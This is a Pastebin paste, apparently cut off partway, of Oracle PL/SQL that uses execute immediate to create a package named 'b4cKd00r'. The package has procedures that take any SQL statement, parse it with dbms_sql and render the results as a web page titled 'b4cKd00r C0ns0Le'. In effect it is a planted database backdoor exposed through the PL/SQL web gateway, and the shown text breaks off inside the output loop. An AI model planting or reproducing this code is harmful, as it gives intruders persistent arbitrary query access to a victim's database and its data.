Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. begin execute immediate 'CREATE OR REPLACE PACKAGE b4cKd00r AS PROCEDURE do_select(stmt in varchar2); PROCEDURE do_execute(stmt in varchar2);END b4cKd00r;';execute immediate 'CREATE OR REPLACE PACKAGE BODY b4cKd00r AS
  2. procedure do_select(stmt in varchar2) is
  3. l_cursor INTEGER := dbms_sql.open_cursor;
  4. l_qry VARCHAR2(32000);
  5. l_status NUMBER;
  6. l_cvalue VARCHAR2(32000);
  7. l_col_cnt NUMBER;
  8. l_desc_t dbms_sql.desc_tab2;
  9. l_desc_c dbms_sql.desc_tab;
  10. BEGIN
  11. l_qry := stmt;
  12. dbms_sql.parse (l_cursor, l_qry, dbms_sql.native);
  13. dbms_sql.describe_columns( l_cursor, l_col_cnt, l_desc_c );
  14. htp.p(''<!DOCTYPE html>'');
  15. htp.p(''<html>'');
  16. htp.p(''<head>'');
  17. htp.p(''<title>b4cKd00r C0ns0Le</title>'');
  18. htp.p(''<style>'');
  19. htp.p(''table {
  20. margin-left: auto;
  21. margin-right: auto;
  22. }'');
  23. htp.p(''.zui-table {
  24. align: center;
  25. border: solid 1px #DDEEEE;
  26. border-collapse: collapse;
  27. border-spacing: 0;
  28. font: normal 13px Arial, sans-serif;
  29. }'');
  30. htp.p(''.zui-table thead th {
  31. background-color: #DDEFEF;
  32. border: solid 1px #DDEEEE;
  33. color: #336B6B;
  34. padding: 10px;
  35. text-align: left;
  36. text-shadow: 1px 1px 1px #fff;
  37. }'');
  38. htp.p(''.zui-table tbody td {
  39. border: solid 1px #DDEEEE;
  40. color: #333;
  41. padding: 10px;
  42. text-shadow: 1px 1px 1px #fff;
  43. }'');
  44. htp.p(''.zui-table-highlight tbody tr:hover {
  45. background-color: #CCE7E7;
  46. }'');
  47. htp.p(''.zui-table-horizontal tbody td {
  48. border-left: none;
  49. border-right: none;
  50. }'');
  51. htp.p(''h2{
  52. text-align: center;
  53. color: red;
  54. }'');
  55. htp.p(''</style>'');
  56. htp.p(''</head>'');
  57. htp.p(''<body>'');
  58. htp.p(''<h2>b4cKd00r C0ns0Le</h2>'');
  59. htp.p(''<table class="zui-table zui-table-horizontal zui-table-highlight">'');
  60. htp.p(''<tr>'');
  61. htp.p(''<thead>'');
  62. FOR i IN 1 .. l_desc_c.count
  63. LOOP
  64. NULL;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement